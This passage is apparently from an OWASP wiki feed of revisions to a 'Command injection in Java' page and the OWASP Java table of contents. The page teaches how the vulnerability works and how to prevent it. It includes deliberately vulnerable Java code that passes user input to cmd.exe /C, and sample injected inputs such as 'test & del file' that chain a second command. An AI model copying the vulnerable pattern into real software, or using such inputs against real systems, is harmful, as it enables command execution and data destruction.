		Runtime runtime = Runtime.getRuntime();&lt;br /&gt;
		String[] cmd = new String[3];&lt;br /&gt;
		cmd[0] = &amp;quot;cmd.exe&amp;quot; ;&lt;br /&gt;
                cmd[1] = &amp;quot;/C&amp;quot;;&lt;br /&gt;
                cmd[2] = &amp;quot;dir &amp;quot; + args[0];&lt;br /&gt;
		Process proc = runtime.exec(cmd);&lt;br /&gt;
		&lt;br /&gt;
		InputStream is = proc.getInputStream();&lt;br /&gt;
		InputStreamReader isr = new InputStreamReader(is);&lt;br /&gt;
		BufferedReader br = new BufferedReader(isr);&lt;br /&gt;
		&lt;br /&gt;
		String line;&lt;br /&gt;
		while ((line = br.readLine()) != null) {&lt;br /&gt;
			System.out.println(line);&lt;br /&gt;
		}&lt;br /&gt;
	}&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Best Practices ==&lt;br /&gt;
&lt;br /&gt;
Developers should avoid invoking the shell using Runtime.exec in order to call operating system specific commands and should use Java APIs instead.  For example, instead of calling ''ls'' or ''dir'' from the shell use the Java File class and the list function.  If it is necessary to accept user input and pass it to Runtime.exec, then use regular expressions to validate the input.&lt;br /&gt;
&lt;br /&gt;
[[Category:OWASP Java Project]]&lt;/div&gt;</summary>
		<author><name>Neil Bergman</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Command_injection_in_Java&amp;diff=68134</id>
		<title>Command injection in Java</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Command_injection_in_Java&amp;diff=68134"/>
				<updated>2009-08-28T01:07:56Z</updated>
		
		<summary type="html">&lt;p&gt;Neil Bergman: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;==Status==&lt;br /&gt;
Review&lt;br /&gt;
&lt;br /&gt;
==Overview==&lt;br /&gt;
Command injection vulnerabilities allow an attacker to inject arbitrary system commands into an application.  The commands execute at the same privilege level as the Java application and provides an attacker with functionality similar to a system shell.  In Java, Runtime.exec is often used to invoke a new process, but it does not invoke a new command shell, which means that chaining or piping multiple commands together does not usually work.  Command injection is still possible if the process spawned with Runtime.exec is a command shell like command.com, cmd.exe, or /bin/sh.&lt;br /&gt;
&lt;br /&gt;
==Examples ==&lt;br /&gt;
&lt;br /&gt;
===Example 1===&lt;br /&gt;
&lt;br /&gt;
The code below allows a user to control the arguments to the Window's ''find'' command.  While the user does have full control over the arguments, it is not possible to inject additional commands.  For example, inputting “test &amp;amp; del file” will not cause the ''del'' command to execute, since Runtime.exec tokenizes the command string and then invokes the ''find'' command using the parameters “test”, “&amp;amp;”, “del”, and “file.”&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
import java.io.*;&lt;br /&gt;
&lt;br /&gt;
public class Example1 {&lt;br /&gt;
	public static void main(String[] args)&lt;br /&gt;
	throws IOException {&lt;br /&gt;
		if(args.length != 1) {&lt;br /&gt;
			System.out.println(&amp;quot;No arguments&amp;quot;);&lt;br /&gt;
			System.exit(1);&lt;br /&gt;
		}&lt;br /&gt;
		Runtime runtime = Runtime.getRuntime();&lt;br /&gt;
		Process proc = runtime.exec(&amp;quot;find&amp;quot; + &amp;quot; &amp;quot; + args[0]);&lt;br /&gt;
		&lt;br /&gt;
		InputStream is = proc.getInputStream();&lt;br /&gt;
		InputStreamReader isr = new InputStreamReader(is);&lt;br /&gt;
		BufferedReader br = new BufferedReader(isr);&lt;br /&gt;
		&lt;br /&gt;
		String line;&lt;br /&gt;
		while ((line = br.readLine()) != null) {&lt;br /&gt;
			System.out.println(line);&lt;br /&gt;
		}&lt;br /&gt;
	}&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Example 2===&lt;br /&gt;
&lt;br /&gt;
The code below invokes the system shell in order to execute a non-executable command using user input as parameters.  Non-executable Window's commands such as ''dir'' and ''copy'' are part of the command interpreter and therefore cannot be directly invoked by Runtime.exec.  In this case, command injection is possible and an attacker could chain multiple commands together.  For example, inputting “. &amp;amp; echo hello” will cause the ''dir'' command to list the contents of the current directory and the ''echo'' command to print a friendly message.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
import java.io.*;&lt;br /&gt;
&lt;br /&gt;
public class Example2 {&lt;br /&gt;
	public static void main(String[] args)&lt;br /&gt;
	throws IOException {&lt;br /&gt;
		if(args.length != 1) {&lt;br /&gt;
			System.out.println(&amp;quot;No arguments&amp;quot;);&lt;br /&gt;
			System.exit(1);&lt;br /&gt;
		}&lt;br /&gt;
		Runtime runtime = Runtime.getRuntime();&lt;br /&gt;
		String[] cmd = new String[3];&lt;br /&gt;
		cmd[0] = &amp;quot;cmd.exe&amp;quot; ;&lt;br /&gt;
                cmd[1] = &amp;quot;/C&amp;quot;;&lt;br /&gt;
                cmd[2] = &amp;quot;dir &amp;quot; + args[0];&lt;br /&gt;
		Process proc = runtime.exec(cmd);&lt;br /&gt;
		&lt;br /&gt;
		InputStream is = proc.getInputStream();&lt;br /&gt;
		InputStreamReader isr = new InputStreamReader(is);&lt;br /&gt;
		BufferedReader br = new BufferedReader(isr);&lt;br /&gt;
		&lt;br /&gt;
		String line;&lt;br /&gt;
		while ((line = br.readLine()) != null) {&lt;br /&gt;
			System.out.println(line);&lt;br /&gt;
		}&lt;br /&gt;
	}&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Best Practices ==&lt;br /&gt;
&lt;br /&gt;
Developers should avoid invoking the shell using Runtime.exec in order to call operating system specific commands and should use Java APIs instead.  For example, instead of calling ''ls'' or ''dir'' from the shell use the Java File class and the list function.  If it is necessary to accept user input and pass it to Runtime.exec, then use a regular expressions to validate the input.&lt;br /&gt;
&lt;br /&gt;
[[Category:OWASP Java Project]]&lt;/div&gt;</summary>
		<author><name>Neil Bergman</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Command_injection_in_Java&amp;diff=67396</id>
		<title>Command injection in Java</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Command_injection_in_Java&amp;diff=67396"/>
				<updated>2009-08-09T16:33:08Z</updated>
		
		<summary type="html">&lt;p&gt;Neil Bergman: Created page with '==Status== In DRAFT  ==Overview== Command injection vulnerabilities allow an attacker to inject arbitrary system commands into an application.  The commands execute at the same p…'&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;==Status==&lt;br /&gt;
In DRAFT&lt;br /&gt;
&lt;br /&gt;
==Overview==&lt;br /&gt;
Command injection vulnerabilities allow an attacker to inject arbitrary system commands into an application.  The commands execute at the same privilege level as the Java application and provides an attacker with functionality similar to a system shell.  In Java, Runtime.exec is often used to invoke a new process, but it does not invoke a new command shell, which means that chaining or piping multiple commands together does not usually work.  Command injection is still possible if the process spawned with Runtime.exec is a command shell like command.com, cmd.exe, or /bin/sh.&lt;br /&gt;
&lt;br /&gt;
==Examples ==&lt;br /&gt;
&lt;br /&gt;
===Example 1===&lt;br /&gt;
&lt;br /&gt;
The code below allows a user to control the arguments to the Window's ''find'' command.  While the user does have full control over the arguments, it is not possible to inject additional commands.  For example, inputting “test &amp;amp; del file” will not cause the ''del'' command to execute, since Runtime.exec tokenizes the command string and then invokes the ''find'' command using the parameters “test”, “&amp;amp;”, “del”, and “file.”&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
import java.io.*;&lt;br /&gt;
&lt;br /&gt;
public class Example1 {&lt;br /&gt;
	public static void main(String[] args)&lt;br /&gt;
	throws IOException {&lt;br /&gt;
		if(args.length != 1) {&lt;br /&gt;
			System.out.println(&amp;quot;No arguments&amp;quot;);&lt;br /&gt;
			System.exit(1);&lt;br /&gt;
		}&lt;br /&gt;
		Runtime runtime = Runtime.getRuntime();&lt;br /&gt;
		Process proc = runtime.exec(&amp;quot;find&amp;quot; + &amp;quot; &amp;quot; + args[0]);&lt;br /&gt;
		&lt;br /&gt;
		InputStream is = proc.getInputStream();&lt;br /&gt;
		InputStreamReader isr = new InputStreamReader(is);&lt;br /&gt;
		BufferedReader br = new BufferedReader(isr);&lt;br /&gt;
		&lt;br /&gt;
		String line;&lt;br /&gt;
		while ((line = br.readLine()) != null) {&lt;br /&gt;
			System.out.println(line);&lt;br /&gt;
		}&lt;br /&gt;
	}&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Example 2===&lt;br /&gt;
&lt;br /&gt;
The code below invokes the system shell in order to execute a non-executable command using user input as parameters.  Non-executable Window's commands such as ''dir'' and ''copy'' are part of the command interpreter and therefore cannot be directly invoked by Runtime.exec.  In this case, command injection is possible and an attacker could chain multiple commands together.  For example, inputting “. &amp;amp; echo hello” will cause the ''dir'' command to list the contents of the current directory and the ''echo'' command to print a friendly message.  Developers should avoid invoking the shell using Runtime.exec and should use Java APIs instead.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
import java.io.*;&lt;br /&gt;
&lt;br /&gt;
public class Example2 {&lt;br /&gt;
	public static void main(String[] args)&lt;br /&gt;
	throws IOException {&lt;br /&gt;
		if(args.length != 1) {&lt;br /&gt;
			System.out.println(&amp;quot;No arguments&amp;quot;);&lt;br /&gt;
			System.exit(1);&lt;br /&gt;
		}&lt;br /&gt;
		Runtime runtime = Runtime.getRuntime();&lt;br /&gt;
		String[] cmd = new String[3];&lt;br /&gt;
		cmd[0] = &amp;quot;cmd.exe&amp;quot; ;&lt;br /&gt;
                cmd[1] = &amp;quot;/C&amp;quot;;&lt;br /&gt;
                cmd[2] = &amp;quot;dir &amp;quot; + args[0];&lt;br /&gt;
		Process proc = runtime.exec(cmd);&lt;br /&gt;
		&lt;br /&gt;
		InputStream is = proc.getInputStream();&lt;br /&gt;
		InputStreamReader isr = new InputStreamReader(is);&lt;br /&gt;
		BufferedReader br = new BufferedReader(isr);&lt;br /&gt;
		&lt;br /&gt;
		String line;&lt;br /&gt;
		while ((line = br.readLine()) != null) {&lt;br /&gt;
			System.out.println(line);&lt;br /&gt;
		}&lt;br /&gt;
	}&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[Category:OWASP Java Project]]&lt;/div&gt;</summary>
		<author><name>Neil Bergman</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=OWASP_Java_Table_of_Contents&amp;diff=67395</id>
		<title>OWASP Java Table of Contents</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=OWASP_Java_Table_of_Contents&amp;diff=67395"/>
				<updated>2009-08-09T16:30:36Z</updated>
		
		<summary type="html">&lt;p&gt;Neil Bergman: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&amp;lt;b&amp;gt;Key:&amp;lt;/b&amp;gt;&lt;br /&gt;
* xx%: Progress status of the paragraph&lt;br /&gt;
* &amp;lt;b&amp;gt;Review&amp;lt;/b&amp;gt;: The paragraph needs a review&lt;br /&gt;
* TD: Paragraph to be assigned&lt;br /&gt;
&lt;br /&gt;
==[[J2EE Security for Architects]]==&lt;br /&gt;
Discuss the security implications of common J2EE architectures.  This could be discussed in terms of: Authentication, Authorisation, Data Validation, Cross Site Scripting protection.  Other architecture concerns such as scalability, performance and maintainability can also be mentioned, but the focus on security should not be lost.&lt;br /&gt;
  &lt;br /&gt;
Any other security concerns that should be addressed during the design phase should also be mentioned here.&lt;br /&gt;
===Design considerations===&lt;br /&gt;
* Architectural considerations (0%, TD)&lt;br /&gt;
** EJB Middle tier (0%, TD)&lt;br /&gt;
** Web Services Middle tier (0%, TD)&lt;br /&gt;
** Spring Middle tier (0%, TD)&lt;br /&gt;
&lt;br /&gt;
==[[J2EE Security for Developers]]==&lt;br /&gt;
=== Noteworthy Frameworks ===&lt;br /&gt;
Discuss important and relevant Java security frameworks that would be useful to architects.  The information should be at a suitably high level. For example, by discussing the advantages and features as well as the associated costs (direct and indirect) of using the frameworks.&lt;br /&gt;
&lt;br /&gt;
(0%, Seeking Volunteers)&lt;br /&gt;
*	Cocoon&lt;br /&gt;
*	[[Java Server Faces]] (Sam Reghenzi - 90%, Finalising content)&lt;br /&gt;
*	JSecurity&lt;br /&gt;
*	SiteMesh&lt;br /&gt;
*	Spring (0%, Adrian San Juan, TD)&lt;br /&gt;
*	[[Struts]] (0% Jon Forck)&lt;br /&gt;
*	Tapestry&lt;br /&gt;
*	Tiles&lt;br /&gt;
*	Turbine&lt;br /&gt;
*	Webwork&lt;br /&gt;
*	[[Wicket]]&lt;br /&gt;
&lt;br /&gt;
===Java Security Basics===&lt;br /&gt;
Provide an introduction into the basic security services provided by the Java language and environment.  Remember to keep this relevant for web developers for the initial release - there may be a potential to expand this to thick clients in subsequent releases.&lt;br /&gt;
* Class Loading (0%, Philippe Clairet)&lt;br /&gt;
* Bytecode verifier (0%, Philippe Clairet)&lt;br /&gt;
* The Security Manager and security.policy file (0%, John Wilander, Philippe Clairet)&lt;br /&gt;
&lt;br /&gt;
===Input Validation Overview ===&lt;br /&gt;
Input validation is perhaps the most important category of application security. Any data entering a software system must be verified to contain safe data that is not mounting a SQL Injection, XSS, CSRF or other form of attack. This is done primarily through the use of regular expressions. It's crucial not to hard-code input validation routines. Regular expressions should contained within a configuration file that can easily updated by an InfoSec professional and not require a programmers intervention or deployment of new application code. Application security needs change over time as new attack vectors are discovered. Application administers need to be able to react to these changes as quickly as possible. &lt;br /&gt;
&lt;br /&gt;
===Input Validation ===&lt;br /&gt;
* Dangerous calls (BufferedReader.readLine(), ServletRequest.getParameter(), etc...) (0%, TD)&lt;br /&gt;
* [[How to add validation logic to HttpServletRequest]] (100%, Jeff Williams, Complete)&lt;br /&gt;
* [[How to perform HTML entity encoding in Java]] (100%, Jeff Williams, Complete)&lt;br /&gt;
&lt;br /&gt;
==== [[Preventing SQL Injection in Java]] ====&lt;br /&gt;
* Overview &lt;br /&gt;
* Prevention (60%, Stephen de Vries, &amp;lt;b&amp;gt;Review&amp;lt;/b&amp;gt;)&lt;br /&gt;
** White Listing&lt;br /&gt;
** Prepared Statements&lt;br /&gt;
** Stored Procedures &lt;br /&gt;
** Hibernate &lt;br /&gt;
** Ibatis (60%, Rohyt Belani, &amp;lt;b&amp;gt;Review&amp;lt;/b&amp;gt;)&lt;br /&gt;
** Spring JDBC &lt;br /&gt;
** EJB 3.0&lt;br /&gt;
** JDO&lt;br /&gt;
&lt;br /&gt;
==== [[Preventing LDAP Injection in Java]] ====&lt;br /&gt;
* Overview (100%, Stephen de Vries, Complete)&lt;br /&gt;
* Prevention (100%, Stephen de Vries, Complete)&lt;br /&gt;
&lt;br /&gt;
==== [[XPATH Injection]] ====&lt;br /&gt;
As with the other Injection sections, only provide cursory information on the general case. Should contain practical real-world advise and code examples for preventing XPATH injection.&lt;br /&gt;
* Overview (0%, TD)&lt;br /&gt;
* Prevention (0%, TD)&lt;br /&gt;
&lt;br /&gt;
==== [[Miscellaneous Injection Attacks]]  ====&lt;br /&gt;
* HTTP Response splitting (0%, TD)&lt;br /&gt;
* [[Command injection in Java]] - Runtime.getRuntime().exec() (80%, Neil Bergman)&lt;br /&gt;
* Regular Expression (regex) Injections (20%)&lt;br /&gt;
&lt;br /&gt;
''' Status '''&lt;br /&gt;
In progress&lt;br /&gt;
&lt;br /&gt;
=== Authentication===&lt;br /&gt;
* [[Storing credentials]] - (20%, Adrian San Juan, &amp;lt;b&amp;gt;Review&amp;lt;/b&amp;gt;)&lt;br /&gt;
* [[Hashing Java|Hashing]] - (100%, Michel Prunet, &amp;lt;b&amp;gt;Review&amp;lt;/b&amp;gt;)&lt;br /&gt;
* [[SSL Best Practices]] - (20%, Philippe Curmin, &amp;lt;b&amp;gt;Review&amp;lt;/b&amp;gt;)&lt;br /&gt;
* [[Using JCaptcha]] - (100%, Dave Ferguson, &amp;lt;b&amp;gt;Review&amp;lt;/b&amp;gt;) &lt;br /&gt;
* Container-managed authentication with Realms&lt;br /&gt;
** [[Declarative Access Control in Java]] - (100%, Dave Ferguson, Completed)&lt;br /&gt;
* [[JAAS Timed Login Module]] - (100%, Stephen de Vries, &amp;lt;b&amp;gt;Review&amp;lt;/b&amp;gt;)&lt;br /&gt;
* [[JAAS Tomcat Login Module]] - (100%, Stephen de Vries, &amp;lt;b&amp;gt;Review&amp;lt;/b&amp;gt;)&lt;br /&gt;
* [[Password length &amp;amp; complexity]] - (100%, Adrian San Juan, &amp;lt;b&amp;gt;Review&amp;lt;/b&amp;gt;)&lt;br /&gt;
&lt;br /&gt;
===Session Management ===&lt;br /&gt;
The generic problems and solutions for session management are covered in the Guide.  This section should focus on Java specific examples.&lt;br /&gt;
* Logout (0%, TD)&lt;br /&gt;
* Session Timeout (0%, TD)&lt;br /&gt;
* Absolute Timeout (0%, TD)&lt;br /&gt;
* [[Session Fixation in Java]] (100%, Rohyt Belani, &amp;lt;b&amp;gt;Review&amp;lt;/b&amp;gt;)&lt;br /&gt;
* Terminating sessions (0%, TD)&lt;br /&gt;
** Terminating sessions when the browser window is closed&lt;br /&gt;
&lt;br /&gt;
===Authorization===&lt;br /&gt;
* [[Declarative v/s Programmatic]] (10%, TD)&lt;br /&gt;
* EJB Authorization (0%, TD)&lt;br /&gt;
* Acegi (0%, TD)&lt;br /&gt;
* JACC (0%, TD)&lt;br /&gt;
* Check horizontal privilege (0%, TD)&lt;br /&gt;
&lt;br /&gt;
=== Encryption===&lt;br /&gt;
* [http://www.owasp.org/index.php/Using_the_Java_Cryptographic_Extensions JCE] (100%, Joe Prasanna Kumar - To be reviewed)&lt;br /&gt;
* Storing db secrets (0%, TD)&lt;br /&gt;
* Encrypting JDBC connections (0%, TD)&lt;br /&gt;
* [http://www.owasp.org/index.php/Using_the_Java_Secure_Socket_Extensions JSSE] (100%, Joe Prasanna Kumar - To be reviewed)&lt;br /&gt;
* [http://www.owasp.org/index.php/Digital_Signature_Implementation_in_Java Digital Signatures in Java] (100%, Joe Prasanna Kumar - To be reviewed)&lt;br /&gt;
&lt;br /&gt;
=== Error Handling &amp;amp; Logging===&lt;br /&gt;
* Logging - why log? what to log? log4j, etc. (0%, TD)&lt;br /&gt;
* Exception handling techniques (0%, TD)&lt;br /&gt;
** fail-open/fail-closed&lt;br /&gt;
** resource cleanup&lt;br /&gt;
** finally block&lt;br /&gt;
** swallowing exceptions&lt;br /&gt;
* Exception handling frameworks (50%, TD)&lt;br /&gt;
** Servlet spec - web.xml &lt;br /&gt;
** [[Securing tomcat]] (100%, Darren Edmonds, Completed)&lt;br /&gt;
** JSP errorPage (0%, TD)&lt;br /&gt;
* Web application forensics (0%, TD)&lt;br /&gt;
&lt;br /&gt;
=== Web Services Security ===&lt;br /&gt;
* SAML (0%, TD)&lt;br /&gt;
* (X)WS-Security (0%, TD)&lt;br /&gt;
* SunJWSDP (0%, TD)&lt;br /&gt;
* WSS4J (0%, Eelco Klaver)&lt;br /&gt;
* XML Signature (JSR 105) (0%, TD)&lt;br /&gt;
* XML Encryption (JSR 106) (0%, TD)&lt;br /&gt;
&lt;br /&gt;
=== Code Analysis Tools ===&lt;br /&gt;
The introduction should cover the advantages and short comings of code analysis tools.  An overview of the current state of the art and the available tools would go well here.  As a start, only open source tools are listed, but if vendors of commercial tools adhere to the [[Tutorial]] guidelines, these submissions will be gladly received.&lt;br /&gt;
* Introduction (0%, TD)&lt;br /&gt;
* [[:Category:OWASP LAPSE Project]] (100%, &amp;lt;b&amp;gt;Review&amp;lt;/b&amp;gt;)&lt;br /&gt;
* FindBugs (0%, TD)&lt;br /&gt;
** Creating custom rules&lt;br /&gt;
* PMD (0%, TD)&lt;br /&gt;
** Creating custom rules&lt;br /&gt;
* JLint (0%, TD)&lt;br /&gt;
* Jmetrics (0%, TD)&lt;br /&gt;
&lt;br /&gt;
== J2EE Security For Deployers ==&lt;br /&gt;
Practical step-by-step guides to securing various J2EE servers.  Examples of secure configurations can also be provided for download.  If configurations are provided, they should be properly commented so that the rationale for configuration settings is clearly explained.  Users of the configurations should be provided with enough information to make their own risk decisions.&lt;br /&gt;
=== Securing Popular J2EE Servers ===&lt;br /&gt;
* [[Securing tomcat|Securing Tomcat]] - (100%, Darren Edmonds, Completed)&lt;br /&gt;
* Securing JBoss (0%, TD)&lt;br /&gt;
* Securing WebLogic (0%, TD)&lt;br /&gt;
* Securing WebSphere (0%, TD)&lt;br /&gt;
* Others...&lt;br /&gt;
&lt;br /&gt;
=== Defining a Java Security Policy ===&lt;br /&gt;
Practical information on creating a Java security policies for J2EE servers.&lt;br /&gt;
* PolicyTool - JChains already provides this functionality, one policy tool is enough.&lt;br /&gt;
* jChains (www.jchains.org) - (0%, TD)&lt;br /&gt;
&lt;br /&gt;
=== Protecting Binaries ===&lt;br /&gt;
* Bytecode manipulation tools and techniques (0%, TD)&lt;br /&gt;
* [[Bytecode obfuscation]] (100%, Pierre Parrend, Released)&lt;br /&gt;
* Convert bytecode to native machine code (0%, TD)&lt;br /&gt;
* [[Protecting code archives with digital signatures]] (100%, Pierre Parrend, Released)&lt;br /&gt;
* [[Signing jar files with jarsigner]] (100%, Pierre Parrend, Released)&lt;br /&gt;
&lt;br /&gt;
==J2EE Security for Security Analysts and Testers==&lt;br /&gt;
* Using Eclipse to verify Java applications (0%, TD)&lt;br /&gt;
* Using [[:Category:OWASP WebScarab Project|WebScarab]] to find vulnerabilities in J2EE applications - (0%, TD)&lt;br /&gt;
* Decompiling Java bytecode (0%, TD)&lt;br /&gt;
&lt;br /&gt;
== [[Java Security Resources]] (ongoing)==&lt;br /&gt;
&lt;br /&gt;
[[Category:OWASP Java Project]]&lt;/div&gt;</summary>
		<author><name>Neil Bergman</name></author>	</entry>

	</feed>